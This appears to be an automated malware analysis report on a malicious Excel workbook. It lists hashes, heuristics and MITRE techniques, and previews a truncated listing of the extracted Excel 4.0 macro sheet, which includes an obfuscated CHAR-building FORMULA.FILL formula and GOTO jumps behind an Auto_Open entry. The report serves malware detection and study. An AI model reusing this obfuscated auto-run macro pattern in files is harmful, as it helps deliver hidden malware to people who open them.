Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3a8d53a55d2eb5d9…

MALICIOUS

Office (OLE)

171.5 KB Created: 2020-05-13 12:30:58 Authoring application: Microsoft Excel First seen: 2020-09-15
MD5: 1e36c9b46919053f7e233aad70de6f9b SHA-1: d450fc9effe7a3b5115299b2f948c58c52deb960 SHA-256: 3a8d53a55d2eb5d91af55faa8e10bac05bf3827edbe686be31b67689465a09bd
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains Excel 4.0 macros, specifically an Auto_Open entry, which is a known technique for executing malicious code upon opening the document. The heuristics indicate the use of dangerous functions like RUN, suggesting the macro is designed to download and execute a secondary payload. No specific family could be identified, and the macro content is truncated, limiting further analysis.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 129578 bytes
SHA-256: 3f21f2e11f8f51f8d04c56f2545bf555052af40335f89015042d38fc00d549f5
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Sheet
' 0018     28 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open hidden len=7 ptgRef3d  Sheet!DP61490 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  Sheet,GU7,"",174.00000000000000000000
'  Sheet,HL12,"",1.17346938775510212238
'  Sheet,EZ21,"",-1.58677685950413227545
'  Sheet,BI38,"",-1.21052631578947367252
'  Sheet,CC60,"",0.22844827586206897796
'  Sheet,DO132,"",-0.50000000000000000000
'  Sheet,GX222,"",5.50000000000000000000
'  Sheet,IB290,"",372.00000000000000000000
'  Sheet,DQ324,"",-0.40157480314960630752
'  Sheet,HT334,"",-123.00000000000000000000
'  Sheet,L356,"",2.10000122070312489342
'  Sheet,BK381,"",-3.94366197183098599055
'  Sheet,BL382,"",172.00000000000000000000
'  Sheet,JM382,"",-236.00000000000000000000
'  Sheet,JR477,"",0.85820895522388063181
'  Sheet,IM495,"",-285.00000000000000000000
'  Sheet,IF539,"",36.00000000000000000000
'  Sheet,GH591,"",0.03296703296703296787
'  Sheet,DS615,"",0.45558086560364463580
'  Sheet,IS738,"",177.00000000000000000000
'  Sheet,FA810,"",27.33333333333333214910
'  Sheet,HY812,"",0.53246753246753242284
'  Sheet,BM817,"",-50.50000000000000000000
'  Sheet,JP837,"",11.42500976562499914735
'  Sheet,BO854,"",5.16470588235294059132
'  Sheet,GO863,"",4.32352941176470562112
'  Sheet,FZ892,"",24.00000000000000000000
'  Sheet,A914,"",95.00000000000000000000
'  Sheet,JJ968,"",-122.00000000000000000000
'  Sheet,CA996,"",107.00000000000000000000
'  Sheet,EJ1046,"",0.54421768707482998106
'  Sheet,HF1078,"",8.00000000000000000000
'  Sheet,JN1099,"",-236.00000000000000000000
'  Sheet,V1101,"",0.62345679012345678327
'  Sheet,JD1101,"",0.00137362637362637373
'  Sheet,BW1110,"",63.50000000000000000000
'  Sheet,IS1122,GOTO(DJ57715),""
'  Sheet,EY1219,"",-0.43229166666666668517
'  Sheet,HW1225,"",1.50000000000000000000
'  Sheet,GK1248,"",27.00000000000000000000
'  Sheet,HT1249,"",1.26724137931034475102
'  Sheet,DO1259,"",0.07500003814697266125
'  Sheet,A1287,"",-116.00000000000000000000
'  Sheet,FL1310,"",3.05660277358490573008
'  Sheet,HU1324,"",-399.00000000000000000000
'  Sheet,HI1478,"",99.87500000000000000000
'  Sheet,JI1493,"",-70.50000000000000000000
'  Sheet,II1515,"",-0.26071428571428573173
'  Sheet,JD1517,"",94.00000000000000000000
'  Sheet,CJ1523,"",-22.50000000000000000000
'  Sheet,CC1554,"",330.00000000000000000000
'  Sheet,EI1648,"",-244.00000000000000000000
'  Sheet,GR1664,"",-132.00000000000000000000
'  Sheet,BJ1665,"",-274.00000000000000000000
'  Sheet,DH1685,"",-0.31496062992125983815
'  Sheet,GD1702,"",2.34343434343434342537
'  Sheet,IE1731,"",-0.57894736842105265495
'  Sheet,HU1799,"",1.50657894736842101757
'  Sheet,BZ1914,"",-401.00000000000000000000
'  Sheet,ET1960,"",0.49137931034482756898
'  Sheet,A1968,"",397.00000000000000000000
'  Sheet,Y1968,"",5.09090909090909082835
'  Sheet,FD1970,"",58.59999999999999431566
'  Sheet,EC2032,"FORMULA.FILL(CHAR(HY55110/G60158)&CHAR(HY55110+Z51108)&CHAR(CB22708/EI47194)&CHAR(DB28754*IW49605)&CHAR(Z54421-EZ63919)&CHAR(HM28055/FE59028)&CHAR(BZ12573/IS58990)&CHAR(IS38454/FY46172)&CHAR(BZ12573*ET1960)&CHAR(DB28754+S40011)&CHAR(BZ12573/BV34606)&CHAR(Z54421-EJ57661)&CHAR(BZ12573+HQ64111)&CHAR(CB22708+GB63842)&CHAR(JR61789-HP16328)&CHAR(Z54421/BL29864)&CHAR(CB22708-JA3640)&CHAR(Z54421-BB36518)&CHAR(JR61789*CD27369)&CHAR(DB28754+FV40527)&CHAR(JR61789*DJ24284)&CHAR(Z54421*M46965)&CHAR(IS38454/EX3945)&CHAR(HM28055-M49030)&CHAR(HM28055/IS17793)&CHAR(BZ12573+BW54595)&CHAR(BM37385*DM21936)&CHAR(BM37385+CH9858)&CHAR(HM28055+U5101)&CHAR(CB22708-G15265),FM980)",""
'  Sheet,EC2033,GOTO(H26846),""
'  Sheet,BX2048,"",-95.00000000000000000000
'  Sheet,JB2057,"",1.72941176470588242609
'  Sheet,BM2075,"",1.40259740259740262047
'  Sheet,CT2093,"",90.00000000000000000000
'  Sheet,IP2100,"",0.84615384615384614531
'  Sheet,I
... (truncated)